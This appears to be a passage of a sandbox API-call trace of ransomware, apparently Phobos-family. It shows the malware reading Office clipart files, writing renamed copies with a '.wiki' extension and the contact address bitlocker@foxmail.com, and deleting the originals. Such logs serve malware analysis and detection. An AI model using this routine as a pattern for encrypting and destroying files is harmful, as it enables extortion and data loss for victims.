lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.909] lstrlenW (lpString=".doc") returned 4 [0189.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.909] lstrlenW (lpString=".docx") returned 5 [0189.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.909] lstrlenW (lpString=".pdf") returned 4 [0189.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.909] lstrlenW (lpString=".xls") returned 4 [0189.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.909] lstrlenW (lpString=".xlsx") returned 5 [0189.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.909] lstrlenW (lpString=".ppt") returned 4 [0189.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.909] lstrlenW (lpString=".zip") returned 4 [0189.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.909] lstrlenW (lpString=".rar") returned 4 [0189.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.909] lstrlenW (lpString=".bz2") returned 4 [0189.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.909] lstrlenW (lpString=".7z") returned 3 [0189.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.909] lstrlenW (lpString=".dbf") returned 4 [0189.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.909] lstrlenW (lpString=".1cd") returned 4 [0189.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.909] lstrlenW (lpString=".jpg") returned 4 [0189.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.910] lstrlenW (lpString=".doc") returned 4 [0189.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.910] lstrlenW (lpString=".docx") returned 5 [0189.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.910] lstrlenW (lpString=".pdf") returned 4 [0189.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.910] lstrlenW (lpString=".xls") returned 4 [0189.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.910] lstrlenW (lpString=".xlsx") returned 5 [0189.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.910] lstrlenW (lpString=".ppt") returned 4 [0189.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.910] lstrlenW (lpString=".zip") returned 4 [0189.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.910] lstrlenW (lpString=".rar") returned 4 [0189.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.910] lstrlenW (lpString=".bz2") returned 4 [0189.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.910] lstrlenW (lpString=".7z") returned 3 [0189.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.910] lstrlenW (lpString=".dbf") returned 4 [0189.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.910] lstrlenW (lpString=".1cd") returned 4 [0189.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0189.910] lstrlenW (lpString=".jpg") returned 4 [0189.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.911] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.911] lstrlenW (lpString="HH02166_.WMF") returned 12 [0189.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.911] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1324) returned 1 [0189.911] CloseHandle (hObject=0x1e4) returned 1 [0189.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0189.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.911] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.912] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0189.912] GetLastError () returned 0x0 [0189.912] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x52c, lpOverlapped=0x0) returned 1 [0189.914] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x530, lpOverlapped=0x0) returned 1 [0189.914] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.914] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.915] SetEndOfFile (hFile=0x200) returned 1 [0189.915] CloseHandle (hObject=0x200) returned 1 [0189.915] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.915] SetEndOfFile (hFile=0x1e4) returned 1 [0189.915] CloseHandle (hObject=0x1e4) returned 1 [0189.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0189.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.916] lstrlenW (lpString=".doc") returned 4 [0189.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.916] lstrlenW (lpString=".docx") returned 5 [0189.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.916] lstrlenW (lpString=".pdf") returned 4 [0189.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.916] lstrlenW (lpString=".xls") returned 4 [0189.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.916] lstrlenW (lpString=".xlsx") returned 5 [0189.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.916] lstrlenW (lpString=".ppt") returned 4 [0189.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.916] lstrlenW (lpString=".zip") returned 4 [0189.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.916] lstrlenW (lpString=".rar") returned 4 [0189.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.916] lstrlenW (lpString=".bz2") returned 4 [0189.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.917] lstrlenW (lpString=".7z") returned 3 [0189.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.917] lstrlenW (lpString=".dbf") returned 4 [0189.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.917] lstrlenW (lpString=".1cd") returned 4 [0189.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.917] lstrlenW (lpString=".jpg") returned 4 [0189.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.917] lstrlenW (lpString=".doc") returned 4 [0189.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.917] lstrlenW (lpString=".docx") returned 5 [0189.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.917] lstrlenW (lpString=".pdf") returned 4 [0189.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.917] lstrlenW (lpString=".xls") returned 4 [0189.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.917] lstrlenW (lpString=".xlsx") returned 5 [0189.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.917] lstrlenW (lpString=".ppt") returned 4 [0189.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.917] lstrlenW (lpString=".zip") returned 4 [0189.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.917] lstrlenW (lpString=".rar") returned 4 [0189.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.917] lstrlenW (lpString=".bz2") returned 4 [0189.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.918] lstrlenW (lpString=".7z") returned 3 [0189.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.918] lstrlenW (lpString=".dbf") returned 4 [0189.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.918] lstrlenW (lpString=".1cd") returned 4 [0189.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0189.918] lstrlenW (lpString=".jpg") returned 4 [0189.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.918] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.918] lstrlenW (lpString="HH02282_.WMF") returned 12 [0189.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.918] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7932) returned 1 [0189.918] CloseHandle (hObject=0x1e4) returned 1 [0189.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0189.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.919] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.919] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0189.919] GetLastError () returned 0x0 [0189.919] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1efc, lpOverlapped=0x0) returned 1 [0189.922] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1f00, lpOverlapped=0x0) returned 1 [0190.229] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.229] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.243] SetEndOfFile (hFile=0x200) returned 1 [0190.251] CloseHandle (hObject=0x200) returned 1 [0190.251] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.255] SetEndOfFile (hFile=0x1e4) returned 1 [0190.255] CloseHandle (hObject=0x1e4) returned 1 [0190.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0190.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.256] lstrlenW (lpString=".doc") returned 4 [0190.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.256] lstrlenW (lpString=".docx") returned 5 [0190.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.256] lstrlenW (lpString=".pdf") returned 4 [0190.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.256] lstrlenW (lpString=".xls") returned 4 [0190.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.256] lstrlenW (lpString=".xlsx") returned 5 [0190.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.256] lstrlenW (lpString=".ppt") returned 4 [0190.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.256] lstrlenW (lpString=".zip") returned 4 [0190.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.256] lstrlenW (lpString=".rar") returned 4 [0190.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.256] lstrlenW (lpString=".bz2") returned 4 [0190.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.256] lstrlenW (lpString=".7z") returned 3 [0190.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.256] lstrlenW (lpString=".dbf") returned 4 [0190.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.256] lstrlenW (lpString=".1cd") returned 4 [0190.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.257] lstrlenW (lpString=".jpg") returned 4 [0190.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.257] lstrlenW (lpString=".doc") returned 4 [0190.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.257] lstrlenW (lpString=".docx") returned 5 [0190.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.257] lstrlenW (lpString=".pdf") returned 4 [0190.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.257] lstrlenW (lpString=".xls") returned 4 [0190.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.257] lstrlenW (lpString=".xlsx") returned 5 [0190.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.257] lstrlenW (lpString=".ppt") returned 4 [0190.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.257] lstrlenW (lpString=".zip") returned 4 [0190.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.257] lstrlenW (lpString=".rar") returned 4 [0190.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.257] lstrlenW (lpString=".bz2") returned 4 [0190.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.257] lstrlenW (lpString=".7z") returned 3 [0190.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.257] lstrlenW (lpString=".dbf") returned 4 [0190.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.257] lstrlenW (lpString=".1cd") returned 4 [0190.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0190.258] lstrlenW (lpString=".jpg") returned 4 [0190.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.258] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.258] lstrlenW (lpString="IN00915_.WMF") returned 12 [0190.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.260] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=12748) returned 1 [0190.260] CloseHandle (hObject=0x1e4) returned 1 [0190.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 0x20 [0190.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.260] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.260] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.261] GetLastError () returned 0x0 [0190.261] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x31cc, lpOverlapped=0x0) returned 1 [0190.263] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x31d0, lpOverlapped=0x0) returned 1 [0190.271] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.271] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.271] SetEndOfFile (hFile=0x1d8) returned 1 [0190.271] CloseHandle (hObject=0x1d8) returned 1 [0190.271] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.271] SetEndOfFile (hFile=0x1e4) returned 1 [0190.272] CloseHandle (hObject=0x1e4) returned 1 [0190.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0190.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0190.273] lstrlenW (lpString=".doc") returned 4 [0190.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.273] lstrlenW (lpString=".docx") returned 5 [0190.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.273] lstrlenW (lpString=".pdf") returned 4 [0190.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.273] lstrlenW (lpString=".xls") returned 4 [0190.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 